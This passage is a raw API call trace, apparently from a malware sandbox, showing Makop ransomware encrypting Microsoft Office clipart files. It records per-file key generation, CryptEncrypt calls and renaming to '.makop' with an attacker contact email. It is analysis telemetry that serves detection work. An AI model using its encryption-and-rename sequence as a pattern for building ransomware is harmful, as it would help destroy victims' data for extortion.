ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107024.WMF", cAlternateFileName="")) returned 1 [0120.618] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0120.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0120.619] GetProcessHeap () returned 0x48a0000 [0120.619] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0120.619] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0120.619] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0120.619] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.623] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.623] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.623] GetProcessHeap () returned 0x48a0000 [0120.623] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0120.623] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0120.624] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.624] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0120.624] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.624] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0120.624] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0120.624] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0120.624] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0120.625] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.625] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.625] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.625] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xbcc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xbcc, lpOverlapped=0x0) returned 1 [0120.625] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xbd0, dwBufLen=0xbd0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xbd0) returned 1 [0120.625] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.625] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xbd0, lpOverlapped=0x0) returned 1 [0120.625] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.626] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xca4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.626] SetEndOfFile (hFile=0xf0) returned 1 [0120.634] GetProcessHeap () returned 0x48a0000 [0120.634] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0120.635] GetProcessHeap () returned 0x48a0000 [0120.635] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0120.635] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0120.635] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0120.636] CloseHandle (hObject=0xf0) returned 1 [0120.636] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1dd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107026.WMF", cAlternateFileName="")) returned 1 [0120.636] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF") returned 63 [0120.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0120.637] GetProcessHeap () returned 0x48a0000 [0120.637] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0120.637] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0120.637] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0120.638] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.638] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.638] GetProcessHeap () returned 0x48a0000 [0120.638] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0120.638] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0120.638] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.638] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0120.642] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.643] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0120.643] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0120.643] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0120.643] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0120.643] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.643] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.643] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.643] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1dd0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1dd0, lpOverlapped=0x0) returned 1 [0120.645] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1dd0, dwBufLen=0x1dd0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1dd0) returned 1 [0120.645] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.645] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1dd0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1dd0, lpOverlapped=0x0) returned 1 [0120.646] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.646] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1ea4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.646] SetEndOfFile (hFile=0xf0) returned 1 [0120.659] GetProcessHeap () returned 0x48a0000 [0120.659] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0120.659] GetProcessHeap () returned 0x48a0000 [0120.659] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0120.659] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0120.660] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0120.661] CloseHandle (hObject=0xf0) returned 1 [0120.661] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2358, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107042.WMF", cAlternateFileName="")) returned 1 [0120.661] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF") returned 63 [0120.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0120.664] GetProcessHeap () returned 0x48a0000 [0120.664] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0120.664] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0120.664] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0120.664] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0120.668] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.669] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.669] GetProcessHeap () returned 0x48a0000 [0120.669] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0120.669] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0120.669] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.669] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0120.669] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.669] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0120.669] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0120.670] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0120.670] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0120.670] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.670] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.670] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.670] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2358, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2358, lpOverlapped=0x0) returned 1 [0120.672] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2360, dwBufLen=0x2360 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2360) returned 1 [0120.672] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.672] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2360, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2360, lpOverlapped=0x0) returned 1 [0120.672] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.673] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2434, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.673] SetEndOfFile (hFile=0xf0) returned 1 [0120.680] GetProcessHeap () returned 0x48a0000 [0120.680] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0120.680] GetProcessHeap () returned 0x48a0000 [0120.680] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0120.680] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0120.680] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0120.681] CloseHandle (hObject=0xf0) returned 1 [0120.682] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107090.WMF", cAlternateFileName="")) returned 1 [0120.682] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF") returned 63 [0120.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0120.682] GetProcessHeap () returned 0x48a0000 [0120.682] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0120.683] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0120.683] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0120.683] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0120.687] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.687] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.687] GetProcessHeap () returned 0x48a0000 [0120.688] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0120.688] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0120.688] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.688] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0120.688] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.688] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0120.688] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0120.688] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0120.689] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0120.689] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.689] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.689] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.689] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3734, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3734, lpOverlapped=0x0) returned 1 [0120.691] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3740, dwBufLen=0x3740 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3740) returned 1 [0120.691] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.691] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3740, lpOverlapped=0x0) returned 1 [0120.691] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.691] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.692] SetEndOfFile (hFile=0xf0) returned 1 [0120.699] GetProcessHeap () returned 0x48a0000 [0120.700] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0120.700] GetProcessHeap () returned 0x48a0000 [0120.700] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0120.700] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0120.700] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 